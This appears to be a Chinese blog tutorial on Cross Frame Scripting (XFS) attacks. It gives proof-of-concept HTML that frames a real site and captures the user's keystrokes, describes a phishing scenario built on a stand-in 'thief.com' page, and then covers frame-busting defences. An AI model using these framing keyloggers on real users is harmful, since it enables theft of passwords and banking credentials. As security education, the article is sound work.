XFS: Cross Frame Script (跨框架脚本) 攻击。
一、Cross Frame Script (跨框架脚本) 攻击
什么是Cross Frame Script?
很简单,做个实验就知道了。把下面的这段HTML代码另存为一个html文件,然后用ie浏览器打开。
<html>
<head>
<title>IE Cross Frame Scripting Restriction Bypass Example</title>
<script>
var keylog='';
document.onkeypress = function () {
k = window.event.keyCode;
window.status = keylog += String.fromCharCode(k) + '[' + k +']';
}
</script>
</head>
<frameset onload="this.focus();" onblur="this.focus();" cols="100%">
<frame src="http://www.baidu.com/" scrolling="auto">
</frameset>
</html>
当你在百度的搜索框输入字符时,你会发现左下角的状态栏上出现了你输入的字符。
二、Cross Frame Script 原理
利用浏览器允许框架(frame)跨站包含其它页面的漏洞,在主框架的代码中加入scirpt,监视、盗取用户输入。
三、Cross Frame Script 危害
一个恶意的站点可以通过用框架包含真的网银或在线支付网站,获取用户账号和密码。
解决方案
用户:留心浏览器地址,不在带框架页面中输入用户信息
网站管理员:
在页面中加入以下javascirpt代码可以避免网站被XFS:
if (top != self) {
top.location=self.location;
}
XFS: Cross Frame Script (跨框架脚本) 攻击。
什么是XFS攻击,下面举一个例子:
Tom在QQ上发消息诱骗Jerry点击了下面的连接:
- http://thief.com
上面的连接返回了下面的html:
- <html>
- <head>
- <title>IE Cross Frame Scripting Restriction Bypass Example</title>
- <script>
- function alertKey(e) {
- alert("key press = '" + e.which + "'");
- }
- </script>
- </head>
- <frameset onload="this.focus();" onblur="this.focus();" cols="100%" onkeypress="alertKey(event);">
- <frame src="http://cuishen.iteye.com/" scrolling="auto">
- </frameset>
- </html>
对于Jerry来说,他以为自己在访问熟悉的网站,殊不知将输入的敏感信息暴露给了Tom (只要将上面alert 改成ajax call)。
魔高一尺,道高一丈,对于XFS攻击也有防御的办法。 主要算法是:
A. 对于确定你的网站没有使用frame的页面要打破frame (frame busting)
- <style>
- html { visibility:hidden; }
- </style>
- <script>
- if( self == top){
- document.documentElement.style.visibility='visible';
- }else{
- top.location = self.location;
- }
- </script>
B. 对于有使用iframe 和frame的页面当心anti-busting,换做下面的脚本:
- if top <> self then
- if top.location.hostname <> self.location.hostname then
- top.location = "http://cuishen.iteye.com/"
- end if
- end if
你的网站可能会毫不知情的被外面包裹一层frame,而变成了一个钓鱼网站,so... 请尽量避免在你的网站使用frame/iframe,并且应用frame busting脚本。
对于user来说,请升级到IE7以上浏览器,并设置: Navigate sub-frames across different domains set to "Prompt" or "Disable", 这个将在浏览器层面防御XFS攻击。
XFS: Cross Frame Script (跨框架脚本) 攻击。的更多相关文章
- Cross Frame Script (跨框架脚本) 攻击
一.Cross Frame Script (跨框架脚本) 攻击 什么是Cross Frame Script? 很简单,做个实验就知道了.把下面的这段HTML代码另存为一个html文件,然后用ie浏览器 ...
- 基于iframe的CFS(Cross Frame Script)和Clickjacking(点击劫持)攻击
攻击原理: CFS攻击(Cross Frame Script(跨框架脚本)攻击)是利用浏览器允许框架(frame)跨站包含其它页面的漏洞,在主框架的代码 中加入scirpt,监视.盗取用户输入 ...
- IBM Rational AppScan:跨站点脚本攻击深入解析
IBM Rational AppScan:跨站点脚本攻击深入解析 了解黑客如何启动跨站点脚本攻击(cross-site scripting,XSS),该攻击危害(及不危害)什么,如何检测它们,以 ...
- IFrame安全问题解决办法(跨框架脚本(XFS)漏洞)
最近项目要交付了,对方安全测试的时候检测出高危险漏洞,由于刚参加工作不久,经验不足,未涉及过此方面的东西.经过一番查询和探索,最终解决了这个问题,记录一下. 发现的漏洞为缺少跨框架脚本保护.跨框架脚本 ...
- ASP.NET Core中的OWASP Top 10 十大风险-跨站点脚本攻击 (XSS)
不定时更新翻译系列,此系列更新毫无时间规律,文笔菜翻译菜求各位看官老爷们轻喷,如觉得我翻译有问题请挪步原博客地址 本博文翻译自: https://dotnetcoretutorials.com/201 ...
- CSRF跨站请求伪造与XSS跨域脚本攻击讨论
今天和朋友讨论网站安全问题,聊到了csrf和xss,刚开始对两者不是神明白,经过查阅与讨论,整理了如下资料,与大家分享. CSRF(Cross-site request forgery):跨站请求伪造 ...
- 跨站点脚本攻击XSS
来源:http://www.freebuf.com/articles/web/15188.html 跨站点脚本攻击是一种Web应用程序的攻击,攻击者尝试注入恶意脚本代码到受信任的网站上执行恶意操作.在 ...
- HTTP攻击与防范-跨网站脚本攻击
实验目的 1.了解XSS -跨网站脚本攻击带来的危险性. 2.掌握XSS -跨网站脚本攻击的原理与方法 3.掌握防范攻击的方法 实验原理 跨网站脚本攻击之所以会发生,是因为网站的Web应用程序对用户的 ...
- XSS(跨域脚本攻击)应对之道
1.概念 xss一般分为两类,反射型和存储型. 反射型xss指的是客户端的不安全输入而引起的攻击,例如: 在某网站搜索,搜索结果会显示搜索的关键词,搜索时关键词填入<script>aler ...
随机推荐
- Mineweep(扫雷)
题目描述: 每周一题之2 Mineweep(扫雷) Minesweeper (扫雷) PC/UVa IDs: 110102/10189, Popularity: A, Success rate: h ...
- visual studio 2013 error: Page '312e8a59-2712-48a1-863e-0ef4e67961fc' not found.
In order to resolve this error do the following : Open Developer Command Prompt for VS 2013 as “Run ...
- inner join、left join、right join、full join
A表 a1 b1 c1 01 数学 95 02 语文 90 03 英语 80 B表 a2 b2 01 张三 02 李四 04 王五 SQL语句:select A.*,B.* from A inner ...
- select随笔
粘贴下面代码 select 美化 <!doctype html> <html lang="en"> <head> <meta charse ...
- ajaxfileupload.js异步上传
转载:https://www.cnblogs.com/labimeilexin/p/6742647.html jQuery插件之ajaxFileUpload ajaxFileUpload.js ...
- log4j2重复打印日志问题解决
log4j2.xml <?xml version="1.0" encoding="UTF-8"?> <Configuration> &l ...
- 解决Yii2 添加css后页面刷新也无反应的情况
'assetManager' => [ // uncomment the following line if you want to auto update your assets (unix ...
- 如何利用fastjson将JSON格式的字符串转换为Map,再返回至前端成为js对象
//注意,这里的jsonStr是json格式的字符串,里面如果遇到双引号嵌套双引号的,一般是嵌套的双引号经过转义 // \",假如有这样的一个场景,这些字符串里面有需要的css样式的j ...
- Charles抓包使用总结
一.简介 Charles是目前最强大最流行的http抓包调试工具,Mac.Unix.Windows各个平台都支持.特别是做APP开发,调试与服务端的通信,Charles是必备工具. 二.Charles ...
- kmspico
# process | 在这儿找到了原作者的地址 http://blog.nsfocus.net/kmspico/ | 下面是原作者地址 https://forums.mydigitallife.ne ...